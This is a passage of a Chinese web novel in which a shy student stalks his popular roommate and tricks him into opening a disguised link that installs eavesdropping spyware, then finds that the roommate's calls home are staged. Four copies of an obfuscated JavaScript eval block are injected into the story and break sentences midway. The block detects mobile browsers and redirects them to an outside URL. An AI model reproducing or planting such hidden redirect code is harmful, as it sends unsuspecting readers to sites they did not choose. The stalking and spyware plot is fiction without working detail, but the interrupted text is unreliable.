第二天下午,姜津照例去奶茶店附近监视。他蹲在绿化丛旁边捧着自己烫的能烤肉的旧手机,来回翻阅自己拍下的那些珍贵资料。 有图片,有视频,有校内也有校外,有的是他在喝奶茶,有的是跟其他人聚餐,有的是他在起飞扣篮,无一例外全是偷拍,在这个最低配置的手机里高达8个G。魏黎爱笑,碰见认识的人都会大大方方地打招呼,不像他,要么装作看不见逃走要么低头钻进地缝。所以姜津拍的最多的就是他对各种各样的人笑。 有的时候是跟陈玉,或者跟其他女孩子。魏黎那张好看的脸,即使用像素不高的手机偷拍,也是那种朦胧的好看。姜津咬紧后槽牙,用指尖拖着进度条,一秒又一秒,看着魏黎用他这张脸投机取巧。 头顶上陡然传来一个声音:“你蹲在这儿干什么?” 姜津心一惊,手机差点滑落在地上。他扭头,瞬间感觉呼吸都不畅。 刚才在他手机里言笑晏晏的魏黎,就在他身后弯腰站着,不知什么时候来的,在他头顶上看了多久。 他本来亮晶晶的眸子微微睁大,一脸无辜地好奇。 姜津当场被抓包,脸红心燥,半天支支吾吾说不出一句话,不知道魏黎有没有看见他手机里的东西。他强装镇定反问:“……你又在这里干什么?” 魏黎耸耸肩:“我在附近奶茶店打工,来扔垃圾。”姜津这才注意到,不知道什么时候在他身后十几米的距离来了个大垃圾桶。就是这样倒霉,他被魏黎逮到。 “你脸怎么那么红?发烧了?”魏黎突然撩起姜津厚重的刘海,将手心贴上了对方的额头。与他形象不相符的是,他的手太冰,没有什么温度,像刚从冰箱里拿出来的一样,三伏天冰得姜津打了个冷颤。 “我只是路过这里的时候有点低血糖……”姜津嗫嚅道。 魏黎轻皱的眉头突然展开,他笑吟吟,一把把他从地上薅起来,力气大到不可思议:“那不正好,我请你喝杯奶茶好啦!”紧接着不容姜津拒绝,硬拉着他到自己店里。 此刻奶茶店里没什么客人,几个店员姐姐都在闲着聊天,魏黎自己到后厨调了一杯珍珠奶茶,朝其中一个年纪稍大的说:“张姐,我请朋友喝杯奶茶,记得记我工资上。” 店长摆摆手:“算啦,喝杯奶茶而已。”她扭头对默不作声的姜津说,“魏黎的朋友就是我们的朋友啦。” 姜津努力扯出一个笑,心里却不是滋味。看来魏黎不管是校内还是校外都混得风生水起,反观自己,老实又窝囊,很难跟其他同事走的那么近。 他想,魏黎真的太会伪装,每个人都平等地接受他施舍的友情,像太阳对植物,自己不过是峭壁里无名的一株小草。 魏黎朋友越多,越对他们笑,他就越不爽。凭什么大家都喜欢这张假面?太阳也只不过是一盏破灯笼。 一杯奶茶摆到了他的面前,还贴心地插好吸管,魏黎拉开椅子坐到他面前:“你快喝一点,头就不晕了。” 姜津没喝过什么现调饮品,在他看来,奶茶是社交的工具,而他压根没有社交的机会。入口的瞬间丝丝甘甜,茶香和奶香混合在一起,咽下一口好久,舌尖还是甜的。 魏黎看着他喝,没有说话。姜津感觉浑身不自在,就像奶液糊住心脏那么黏腻讨厌,默不作声地将吸管咬来咬去。气氛就跟缓慢吹大的气球一样,看着它逐渐变薄的橡胶壁,只不过谁也没有吹到爆炸的临界值。 只是喝个奶茶,姜津感觉自己如坐针毡。 “有没有人说过你的嘴唇很好看?”魏黎冷不丁地开口。 姜津一下子被珍珠呛到,猛烈咳嗽起来。 魏黎凑过来帮他拍拍背,语气含笑:“你反应那么大干什么?这是事实。” 姜津感觉后背只要是魏黎摸过的地方都瞬间起了鸡皮疙瘩。他第一次被别人夸奖,不知道该说什么好,连连摆手,“我不好看的。” 魏黎脸上的笑意一下子敛去,直视他的眼睛,低声说:“整体红润,唇峰明显,没有死皮,连唇纹都很少。你以后别那么妄自菲薄。你经常低着头人家也看不见,你以后朝他们多笑笑就好了。” 他语气郑重,似乎坐在他面前的是什么蒙尘明珠,他在这扼腕叹息。 如果是其他人,估计被魏黎聊得心花怒放。可惜姜津不是,他知道他夸人总是很高明,以小见大,看起来真诚不已,但都是场面话。 比如魏黎曾经在课前走廊里赞叹过一个女生辛苦淘来的香槟色珍珠耳饰,说很符合她的气质。毕竟拍马屁又不要钱。之后姜津每次看到那个女生,她都带着不同款式的淡水珠饰品,而且大多数还是香槟色。 虽然魏黎确实是有点审美,但这个人伪装惯了,张口闭口都是拍马屁,让人讨厌。他肯定以为自己刚才的话多么讨人喜欢,但姜津可不会这样对他。 姜津心里乱七八糟的,心事重重地嚼着木薯球。忽然嘴角传来羽毛般的触感,他直接愣住,只见魏黎拿着纸巾擦掉了自己嘴角那滴奶液。 速度很快,力度很轻,像在擦夜明珠身上的灰尘,魏黎神色自若,没什么表情,仿佛这个动作非常寻常,察觉不出多么暧昧。 纸巾抚摸过的地方都火辣辣的,姜津被闷得整张脸都烧起来,他脱口而出:“你会给其他人擦嘴巴吗?” 轮到魏黎的表情有点不可思议,像是对他的话有些意外:“什么?” 姜津一下子泄了气:“没什么。”他都是这样窝囊。是又怎么样,不是又怎么样,魏黎这个人太过狡诈,从来不会实话实说。 旁边不远处的店长姐姐插了一句嘴:“小魏嘴巴那么甜,长得那么帅,肯定很多人追他啦。光这兼职这几个小时,你不知道有多少人问他要联系方式呢!不知道他女朋友吃不吃醋。” 姜津:“他没有女朋友。” 张姐睁大眼睛:“真的吗?难道他没有喜欢的?” 魏黎靠在椅背上抱着手臂,亮亮的眼睛弯弯的,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849001|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人看上去非常松弛:“张姐,我天天到处打工挣钱,哪有时间,别揶揄我了。” 张姐不再跟他废话,转头对姜津说:“这个小骗子嘴里没一句实话,你知道他家庭条件那么好为什么还来这打工吗?” 姜津摇摇头。这个他确实不知道,虽然学校里各种猜测众说纷纭,但没有人知道当事人是怎么想的。谁也搞不清楚为什么一个富家公子会去干时薪不算多的零工。 “那么说你知道?”话音刚落,姜津就有些后悔,今天下午每一个环节似乎被设计安排好了一样,之前都是陷阱,等着姜津问出这句话,像逮住耗子前路上的一块块小奶酪。 他隐约感觉自己像一个演员,听从着某个人的舞台调度,在什么时候上场,在什么时候说出那句关键台词,借此机会完成一场宏大巨制。 他下意识看向魏黎。 “我当然知道!”店长姐姐得意洋洋,看来又一个人掌握了独属于他们和魏黎的秘密。 魏黎坐直,佯装生气,似乎很不乐意让她说出来,急着打断:“张姐——” “因为他资助了一个贫苦山区小孩,要自己挣钱给他交学杂费和生活费!”她瞪他一眼,“这好人好事你咋不乐意宣扬呢?还是我前几天意外瞥见你手机屏幕才发现的,而且你还靠的是自己的血汗钱,这不更有意义?” 魏黎有些无奈:“早知道我贴个防窥膜好了,我朋友都不知道这个事情。” 张姐感叹:“像他这样有担当有责任还有爱心的好人不多了,默默付出善心一点也不贪名图利。也不知道父母怎么养出这么优秀的小孩,真羡慕。” 魏黎打趣她:“既然如此,张姐要不要把时薪给我调高一点,我这个月还得给我妹妹买生日礼物,上个星期我照例给家里打电话的时候她就开始催了,要是买不到符合心意的礼物她会打我的。” “一码事归一码事,那可不行。” 姜津有一搭没一搭地听着他们聊天,默不作声地喝完了剩下没滋没味的奶茶。 魏黎在别人嘴里,已经不只是“别人家的孩子”的范畴了,几乎已经是脱胎换骨,集所有美德于一体的世纪栋梁,名副其实的芝兰玉树。忙忙碌碌打工只是为了靠自己资助贫困山区学生,如果这被学校新媒体的老师知道,估计又要找个机会在公众号上对魏黎大夸特夸了。 甚至不会让人感觉到突兀,因为魏黎还是爱心社的社长,平时策划过大大小小的公益活动。爱心社社长暗地里干出这种事,也是意料之外情理之中的。 不仅是遥远大山素未谋面的学生,他对自己的妹妹也是掏心掏肺,辛苦攒钱给她买礼物,货真价实的好哥哥。 对内对外,环环相扣,毫无破绽。 多么高尚,多么伟大—— 姜津晚上去便利店的时候,小冯照常在杂货间摸鱼偷闲。他换工作服的时候犹豫了一会儿,最终还是扭头对小冯开口: “你知道哪里能搞到窃听软件吗?” 5. 寒意 “你要窃听软件干什么?”小冯很是意外,因为他知道像姜津这种三脚踹不出一个屁的人,他想窃听谁?他敢窃听谁? 姜津支支吾吾说不清楚,最后只能落下一句:“你别管。” 小冯也懒得追究,手伸出来比了个数。 “那么贵?”有点超出姜津的认知了。 “拜托,你想要免费的直接去应用商店下好了,找我干什么?” 姜津略微思索,目前来看魏黎真的毫无破绽,不用点特殊手段看来很难发现端倪。他咬咬牙,还是点了头。 小冯理直气壮两手一伸,“先付钱。” 姜津输付款密码的时候心都在滴血,他不知道辛辛苦苦干了多少兼职才攒下这一笔,为了魏黎全花出去了。 小冯有个优点,就是钱到位什么都好说。没过几天,一个伪装过的新闻链接就这样发到了姜津的手机上。 小冯:“你让他点开,之后他打电话接电话的时候你能打到你手机上,他说话和别人说话都能听见。” 原来现在黑科技发展到这样恐怖的水平。姜津心有顾虑,再三确认:“真的有用吗?你不要骗我。双方对话都能听见对吗?”他思来想去也没有什么可以威胁对方的地方,总不能向市监局举报货不对板吧。 小冯被他问得不胜其烦:“听不见我把头砍下来给你行了吧?” 听见对方都这样说,姜津就这样信了,心里才稍微安稳一点。他随即把链接转给了魏黎,光溜溜的聊天框里只有一个链接,实在过于突兀。 虽然是室友,他跟魏黎的关系真的算不上熟悉,或者说只是他单方面地熟悉。姜津了解魏黎的身份证号码,知道他爱吃辣不爱吃酸,多大的鞋码,平时的日程,大大小小的生活习惯都了如指掌,但也只是单方面的,就比如他们从不在微信上聊天。 没过一会儿,魏黎给他发了消息,“点进去是404。” 紧接着又是一条:“是怎么内容?” 姜津深吸一口气,慢吞吞地回复:“没有什么,我手滑了,分享给了你。”他又等了一小会儿,魏黎不再回复了。 他呼吸有点急促,退出界面。按照小冯的说辞,那个窃听软件安装成功了?只需要一个简单的时机,笼罩在魏黎身上的一团迷雾就会被他吹开轻轻一角。以此为切入点,露出马脚还不是迟早的事儿。 很快,他就盯上了每周五魏黎打电话给家里的时候。 魏黎雷打不动,每周五都会给家人打电话。陈玉跟他女朋友出去玩基本回来在十点左右,魏黎打电话也差不多是这个时间点。 每次姜津都在被窝里偷偷听着,大多数时间魏黎说的没有什么内容,聊聊姜津早就知道的自己的近况,比如拿了什么什么奖学金,参加了什么什么活动,然后听父母再说一些家里的事情,跟妹妹聊天打趣。 他们家的关系真的非常好,姜津哪怕没有听见对方声音,也能从魏黎的千言万语中大概描绘出一家人的画像。身居高位又开明温柔的魏父魏母,被全家捧在手心,还在上中学活泼开朗的妹妹。 她应该是叫魏桃,桃子的桃。魏黎经常喊她小桃子。多么柔情又宠溺的称呼,简直就是一个从小泡在蜜罐里,娇生惯养长大的女孩的爱称。陈玉都知道他有这么个妹妹,偶尔调侃魏黎太过惯她。 魏黎只是笑:“当哥哥的怎么宠妹妹都不过分。” 完美无缺的一家人。 周五上午宏经课有一个随堂测验,阶梯教室里静悄悄的,助教来回巡视。姜津老老实实冥思苦想地做着题,突然后背被人戳了一下。 戚思鸣身子往前倾了倾,“你写完没有,给我抄抄。” 姜津本来不想搭理,奈何戚思鸣也不是好惹的人,第一天入学受不了宿舍环境出去住的也是他,否则这个富家少爷又来他们寝室颐指气使的。 魏黎家里不必多说,陈玉家也是小康,要是再来一个戚思鸣,这混蛋在家被保姆佣人伺候惯了,欺软怕硬,压迫不了魏黎陈玉不就得压迫他吗? 不过,两个人虽然没缘分住同一个地方,但还是同班同学,姜津没少给这个大少爷干这干那的,传个答案、跑个校园跑都是小事情。 姜津把答案抄好,不情不愿地从桌子底下递给他。 姓戚的,我收拾完魏黎就来收拾你,你们这些货色一个也跑不了。 课间休息,助教很快批完公布了分数。戚思鸣手贱嘴也贱,掀起眼皮看了一眼勉强及格的分数,啧啧摇头:“早知道就自己写,不抄你的了。” 姜津小声反驳:“那你去抄魏黎的,他所有测验都是全对,拉不了你的平时分。” 戚思鸣冷哼一声,忿忿不平:“就那个装货?我稀罕?” 姜津心中一凛,这还是他第一次听见别人对魏黎发表贬低的言论。他现在的心态有点像难逢知音,但一想到对方是戚思鸣又一阵恶寒,扭过头去发现他已经叼着烟出去吞云吐雾了。 算了,也许戚思鸣那臭脾气看谁都不爽,不止魏黎一个。 姜津下了大课,刚出致远楼,就看见戚思鸣倚在门口的承重柱上,叼着烟头百无聊赖,马丁靴有一下没一下地磕着地面。他在心里比划了一下,戚思鸣似乎跟魏黎差不多高,经常穿着一身黑衬得脸也白,如果他脾气没那么臭,见谁都是一副好脸,估计喜欢他的人跟魏黎一样多。在戚思鸣这种大众观念里谁也看不起的二代们的对比下,魏黎显得是那么可贵。 姜津走过去,把他没拿走的专业书交给他。 戚思鸣挑了一下眉毛:“算你识相。” 姜津晚上早早就回了宿舍,过了一段时间陈玉回来打游戏,魏黎最后回来的,还没来得及放下快递,一个熟悉的铃声就响起来了。 陈玉从电脑屏幕里转过头,“你家管你真严,每个星期打电话的时候也太准时了,丝毫不差一分一秒。” 魏黎快中有序地把桌上的东西收拾了一下,摁下了接听键。 宿舍里的两个人都没有注意到有个瘦弱的身影钻进了厕所里。 姜津插着有线耳机,手指微微颤抖,点开了早已安装好的窃听软件。其实他并不指望这次能知道点什么,但这种隐秘的窥私感,尤其是对魏黎的窥私感足以让他的大脑皮层兴奋。 魏黎先给家里人打了招呼,然后语气兴奋地讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849002|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一些这周自己的事情,比如打工遇见了什么事,在学校里怎么样。他每说几句,都短暂停留一小会儿,似乎是在认真倾听电话另一边的话,间或发出几声“嗯”,“好”,“哦”。 家人似乎说了些什么,魏黎喉咙里发出几声笑,语气轻快:“这次考不好也没有什么,你们别怪小桃子,这周是她的生日就放她一马吧。” 姜津一愣,再次确认软件和耳机,并没有发现什么出错损坏的迹象,心觉奇怪不已。 那么为什么,为什么只有耳机里只有魏黎一个人的声音? 对面的魏父魏母和魏桃,像是鬼魅一样,没有丝毫动静,连个“嗯嗯啊啊”的语气词都没有。 ……魏黎到底在跟谁说话? 姜津再三确认软件到底有没有出问题,突然发现里面还有不同的声轨,一个是魏黎那边发出的,另一个就是他家人那边发出来的声音。 姜津关掉魏黎的声轨,只打开了那一个。 宿舍里魏黎在说:“上次你们送过来的东西都吃完了,我还分给朋友们了一些。” 耳机里一片死寂。 魏黎笑出声:“不用不用,下次不用特意送了。家里给的钱都够花的,缺什么我自己会买。” 耳机里还是一片死寂。 姜津不死心,但有个恐怖但又不是没有可能的想法浮出水面。他将那个声轨的声音放到最大,滋滋啦啦的电流声几乎要穿破他的鼓膜,仍然没有任何人声。 隔着厕所的门,他听见魏黎在跟他妹妹讲话,语气甚是温柔:“小桃子,我正好给你买好礼物了,这周末给你带回去,包你满意,你这次可不能再打我了。” 想象中娇纵,可爱的女孩声音没有顺着电流传进姜津的耳朵,耳机外面是魏黎面对家人含笑的语气,耳机里面是死一般的寂静。 他像是自言自语,在演一出观众不明的独角戏。 厕所里阴风恻恻,寒意从脚底板开始蔓延,路经大腿腹部心脏,直达大脑皮层。他听见了“咚咚咚”的声音,经过辨认,他才意识到那是自己的心跳声。不知过了多久,厕所门倏然被别人拉开。 姜津猛地回头。 是陈玉。 “卧槽你上厕所也不开灯,搁里面扮鬼呢?”陈玉被吓了一跳,神经大条如他也察觉出姜津的异样来,迟疑地说,“你脸怎么那么苍白?” 姜津摇摇头,扯出一个笑,“有点拉肚子。” 他拽下耳机,侧过身子出去。此时的魏黎正好挂掉电话,买给妹妹的礼物还完好无损又货真价实地放在桌子上,他拿着手机翻看什么,嘴角还噙着笑意。 在旁人看来,他真的是一个顾家又爱妹妹的好哥哥。 眼神毫无预兆突然向姜津斜过来。宿舍昏暗的灯光照着他黑白分明的眼睛蒙上了一层薄薄的灰,像眼镜王蛇进攻的前兆,但下一秒,又会让人觉得是自己的错觉,明明魏黎笑得是那样春风和煦,眼尾和嘴角的弧度跟平时相差无几,如果拿尺子丈量甚至一模一样。 整张脸好像公式化的脸谱,每一个角度都是精心设计。 姜津才发现自己后背出了大片的冷汗。 6. 假威 “你身体不舒服吗?” 魏黎起身,特意走到姜津面前,轻蹙眉头,“严不严重?不行的话我扶你去趟医务室拿点药……” 他一边说,一边把手伸向姜津的额头,神色关切至极,如果是其他人,很难不感动。 姜津脑子里全是刚才魏黎在电话中自言自语,而现在对方又神态自若。他从心里泛起恶寒和恐怖,见魏黎伸手过来,一时猝不及防,猛地拍开。“啪”的一声,在安静的宿舍里声音不小。 魏黎的表情第一次僵在脸上。 姜津自觉反应过激,但他嘴笨拙舌,实在不知道说些什么,讷讷说自己没有事,然后借口洗漱,拿起盆就仓皇逃离。 魏黎的手还停留在半空,半晌之后,他将手慢慢放下,被拍的地方有点泛红。他面无表情地瞥了一眼姜津刚刚放在桌子上还插着耳机的手机,眉目低垂,刘海遮住了他的眼睛。 着实让人琢磨不透他眼底的情绪。 姜津用冷水洗了好几把脸,看着镜子里湿漉漉的自己,心烦意乱。他似乎触碰到了什么不该知道的东西。 魏黎在表演吗?在表演自己家庭和和美美吗? 他表演给谁看? 他为什么要这样做? 半晌之后,隔着走廊,他听见了陈玉在外面咋咋呼呼,应该是碰见了熟人,不知道是他第几次吹嘘自己怎么追到班花女朋友的事迹。 姜津仔细回想一下,发现每次魏黎打电话的时候,都不只他一个人在场,好巧不巧,宿舍里正好还有陈玉。那么一下子就说得通了。 也许就是给这些嘴上没个把门的人看。宿舍有扩散的源头,一传十,十传百,人设立得毫不费力。室友毕竟也是生活距离最近的人,大喇叭陈玉对他的态度,也可以辐射给别的同学。 大家只会想,魏黎不管学习上还是生活上,都是如出一辙,都是温暖可靠的人。毕竟他室友又不会说谎,除非魏黎本人24小时都在伪装。 没有人不乐意结交原生家庭幸福美满的人,人总是向往太阳,本能地靠拢。 周末的时候魏黎拿着给妹妹的礼物,走出宿舍。箱子不小,他又一副要出校门的得体装扮,让人难免心生好奇。他在北校门正好碰见李哲,对方冲他抬抬下巴:“你干嘛呢,晚上去打球啊?” 魏黎摇摇头,无可奈何的样子:“今天不行,我得回家。” “回家干吗?” 魏黎挎着纸箱:“给我妹妹送生日礼物。” 李哲刚想说什么,被他打断,魏黎点点头:“明天打吧,明天正好有空。” 路边不知道什么时候停了一辆劳斯莱斯,魏黎快步走过去,带着白手套的司机下来,恭恭敬敬地给他开了车门,他行云流水地钻进后座。 不过几秒钟的时间,看得李哲目瞪口呆,揉揉眼睛,在尾烟中看见了那张车牌还是数字连号。 周围不乏眼尖的同学,注目礼一般目送着那辆豪车远去,然后窃窃私语不断。 “刚才那个坐劳斯莱斯的帅哥叫什么名字,哪个学院的?” “他你都不知道,经管院的魏黎啊,非常有钱,听说家里是……”另一个女生趴在对方的耳边,两人脸上的表情逐渐精彩纷呈。 周围两个女生交头接耳的声音闯进了李哲的耳朵,紧接着她们恋恋不舍地把目光从那辆车上收回来,转向了看起来是魏黎的好兄弟——李哲。 李哲赶紧板起脸,装作一副对劳斯莱斯司空见惯和习以为常的样子,略过旁边的人,昂首挺胸,大步迈进校门。 城西的别墅区绿化非常不错,大片的草坪有专人精心维护,似乎这里的天也比其他地方的蓝,空气也更清新。魏黎下车前打开钱包,给司机数了十张百元钞票。 司机欣喜若狂:“您客气,之后还要什么车尽管吩咐,我都能搞来。” 那么一小段路程都能赚个接人的外快,简直不要太划算。 魏黎微笑点头:“辛苦您。” 他下了车,别墅区人烟稀薄,路边那么贵的地皮不知道能塞下多少不蔽风雨的家庭,富人们拿来种草,隔远了在阳光的照射下看着像波光粼粼的绿丝绸。 魏黎走到一栋别墅前,门口的管家客客气气,“小魏老师,少爷已经在上面等您了……” 话音未落,由远及近的“哒哒哒”声传来,一个不过十三四岁的男孩只穿了个袜子,一下子蹦到魏黎面前。后面还有个保姆提着鞋气喘吁吁地追他。 魏黎蹲下来,轻蹙眉头,佯装生气:“你怎么不穿鞋乱跑,这样会着凉的。” 男孩不好意思地蜷缩脚趾,“我这不是看你来了太兴奋嘛。”然后他就着保姆的手乖乖把鞋子穿好了。 身后管家说:“少爷上次考试又进步了,急着跟小魏老师分享呢。他谁的话也不听,只听你的。” 男孩拽着魏黎的手就往楼上拉,进了房间,他好奇地问:“小魏老师,这个箱子是什么?” “你猜猜看。” 男孩摇摇头,“我猜不出来。” 魏黎把原本属于“魏桃”的箱子拆开,里面是一辆精致的汽车模型,“为了奖励你学习进步,老师特意给你买的小礼物。” 说是小礼物,其实一点也不小,价格也比较昂贵。他费了老大劲找人从国外买过来。 男孩一下子蹦起来,兴奋地手舞足蹈:“你怎么知道我喜欢这一款,我没跟任何人说!” 他突然垂下眼睛:“老师都知道我喜欢什么,爸爸妈妈却一点也不关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849003|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心我,只知道做生意。我上次给他们视频的时候,怎么哭也不舍得回国看我,反而嫌我吵闹。” 魏黎摸了摸他的头:“你忘了我之前跟你说过什么吗?” “什么?” 魏黎脸上的笑意愈深,语气慢悠悠如鬼魅:“伸手不打笑脸人。你对他们多笑笑,笑得懂事体贴一点,我敢保证,他们过几天就会回来看你的。” 辅导一个初中生的课业没有多大压力,魏黎下楼的时候特意绕了一圈,这栋别墅装修的富丽堂皇,他走过一遍,就能把细节记得七七八八,艺术品要摆在什么地方才能显出主人家既有钱还有品位,家里从不开窗户是因为新风系统24小时不停运作等等等等。 他转过弯,在大厅正好碰见管家在训一个刚来的佣人。 “……跟你说过多少遍,红木不能用湿毛巾擦,平时保养得用核桃油,这张桌子几十万你赔得起吗?” 对面的年轻女孩被吓坏了,眼泪在眼睛里打转转。 管家看见魏黎过来,就摆手让她走了,下一秒又切换成客气的样子来:“小魏老师,夫人听说少爷最近学习成绩进步,平时表现也听话不少,非常满意,这是夫人的一点心意。” 管家把一个厚厚的红包塞到魏黎手里,一沓现金。 他家少爷原先缺少父母管教,简直就是混世魔王,自打生下来就是叛逆期,学习成绩不必说,每门都是倒数。在焦头烂额之际,魏黎被雇佣过来当他的家教,不知道他用了什么手段,前一天还大吼大叫乱摔东西的小孩立马变得服服帖帖了。 魏黎不做声响地掂了掂,这里面的钱可以买刚才十辆汽车模型,不过,这次的红包可比前几次薄了些。 他笑了笑:“夫人那么看重我,我得找机会当面感谢她。”他有意无意地加重了“当面”这两个字。 管家脸色稍变,脸上堆砌出来的笑一顿:“不用,她平时工作忙,我会代你向她转达。” “多谢您。”魏黎顿了顿,“当初找家教,还是靠您的赏识我才能进来。” 他慢条斯理地把红包放进自己的口袋,“这次就算了,希望下次能跟夫人好好探讨孩子的学业情况。” 然后他微微点头,不顾管家变青的脸色,大步迈向门口。 回学校前魏黎去商场买了些水果零食,准备给其他人分一分,毕竟从家回来两手空空也不合情理。排队结账的时候,他刚回完学校里同学和老师的一些消息。 紧接着他环顾四周,眼中冷漠翻涌,从口袋里掏出另外一部手机敲敲打打。 “我下周日过去。” 前面收银员喊他:“您好,下一位。” 魏黎抬头的瞬间,换上了无懈可击的笑容,仿佛刚才的他荡然无存。 7. 套话 姜津之后几天一直有意无意躲着魏黎。与其说是“躲”,不如说是看见对方要跟他走进同一条小道的时候快步离开,在对方走进食堂的时候抓紧扒完饭走掉,还有在对方晚上回宿舍的时候早早上床拉上床帘假装入睡。 那么一想,似乎跟平时没什么两样。如果窝囊能纳入考核,姜津就是名副其实的全系绩点第一。 他们俩除了住同一寝室以外,本来也就没有什么交集,姜津都觉得自己有点自作多情。他让小冯再次检查了软件,又亲身试验了一遍,根本没有任何问题。 魏黎真的一直都在自言自语。 小冯被他烦得要死:“我说大哥,你到底是希望这个软件出问题还是不出问题啊?出问题你不乐意,不出问题你还不乐意,你是不是来碰瓷的啊?” 姜津哑然,他也说不好。只是觉得一切有点超出自己的想象。 如果平时打电话是假,那么他的家人是不是也是假的?不说父亲母亲,会不会甚至连“魏桃”这个人的存在都可疑呢? 他费尽心力打造这一点是为了什么呢? 其他地方会不会也是假的? 太多疑点像一团浆糊一样黏住姜津的脑子,使其思考不得。他拿出那个笔记本,仔细记录了自己的疑虑。 这个小笔记本记录了关于魏黎的一切,密密麻麻,简直事无巨细,甚至还有几页是魏黎形象的简笔画。姜津正咬着笔头冥思苦想,忽然视界中出现一只手,抓住书脊霸道地把它拿走。 头顶传来戚思鸣的混账声音:“看你一节课都在写这个,写什么呢?” 他被吓了一跳,“噌”的一下站起来。但还是晚了一步,本子被戚思鸣拿在手里。 姜津心脏都要跳出来,如果里面的内容被别人看见了,后果不堪设想。他的计划就全被暴露了。 他强定心神,第一次那么敢对戚思鸣说话:“还给我!”边说边要上手抢。 戚思鸣嗤笑一声,叛逆劲上来了,借着身高腿长的优势把本子举过头顶,“偏不给。”他心觉有趣,姜津反应那么大,估计里面真有什么不可告人的秘密。如果他是之前逆来顺受的样子,他反而会还给他。 正值两个大课中间,注意到他们的同学越来越多,但都在看姜津笑话,没有一个人来帮他主持公道。 姜津怎么努力都够不到,眼看着戚思鸣抬头,目光即将汇聚到内页的时候,他一咬牙心一横,使出吃奶力气拍了一下对方的手背,本子划过一个优美的抛物线,丢到了几米开外,阶梯教室第一排附近的走道。 周围同学来来回回,都注意到了这个本子。若是谁好奇捡来看看…… 与此同时,一个人在那里站定。姜津寒毛直竖,心都提起来。 引入眼帘的是一双熟悉的鞋,姜津在宿舍见过,知道它的码数,再往上看是结实修长的长腿,它的主人半蹲下来,捡起了那个本子。 魏黎跨步走过来,特意绕开戚思鸣,把东西原原本本地交给姜津。 姜津紧张得大喘气,赶紧把本子塞到怀里。 戚思鸣斜眼看向这个不速之客,一副混不吝的模样:“你就不好奇里面是什么吗?他那么宝贝,说不定是给谁的情书。” 魏黎好整以暇,淡淡地回应:“不好奇,这是别人的隐私。” 戚思鸣嗤笑一声,回头发现姜津怔怔看着魏黎,不知道在想些什么,突觉无趣,转身离开。 姜津还没从刚才的惊吓中缓过神,怀里的笔记本因为魏黎的触碰而变得异常滚烫,几乎要把他的胸膛烫出一个洞来。 魏黎转身的时候,只听见后面有个不情不愿又像是得救的声音:“……谢谢你。” 晚上,趁着魏黎被约去打篮球的功夫,姜津又假装路过,跑到了之前兼职的奶茶店。 他对人际交往真的没有什么见解,更别说不留痕迹地套话,在店门口徘徊了十几分钟。好在店长张姐非常健谈,还记得他是魏黎朋友,热情招呼他来店里坐坐。 姜津点了一杯珍珠奶茶,趁着等待,他有意无意地问:“我以为魏黎今天晚上会在呢,还想找他一起回去。” “没呢!”张姐忙着点单,“小魏一三五才会来帮忙。你们学校各种各样的活动是挺多的,魏黎这样优秀的小孩整天忙得脚不沾地。” 姜津真的不太想听别人夸赞魏黎,但是他不好表现出来,只能敷衍笑一笑,随口附和道:“他平时确实挺忙的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849004|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姜津突然想起那张打工时间表,上面清楚写着周日奶茶店的日程,又结合刚才张姐说的话,迟疑道:“我以为他周日晚上也会来。” “不对,你肯定记错了,他估计去别的店兼职去了,小魏周日从来不来。” “会不会是你记错了?”姜津话音刚落就有点后悔,他确实不会说话,应该换种方式套话。明明是正常的询问,从他嘴里像是质疑的意思。若是换成魏黎,估计早就把对方哄得心花怒放。 张姐不乐意了,“我还没老年痴呆呢,小魏就是一周来三天,一三五,因为一周就这三天营业额蹭蹭蹭上涨,比平时多很多,大家都看他长得帅嘴又甜才来买奶茶。可惜他还有其他兼职,不然真想让他天天过来。让帅哥来当招牌谁不乐意?” 这句话如同一石激起千层浪,后面张姐再跟他唠叨些什么也听不见了。 其他日程都对的上,唯有周日晚上是完全空白的。难不成魏黎又在隐瞒些什么?但是不应该啊,他肯定料想不到自己会看到那张日程表。 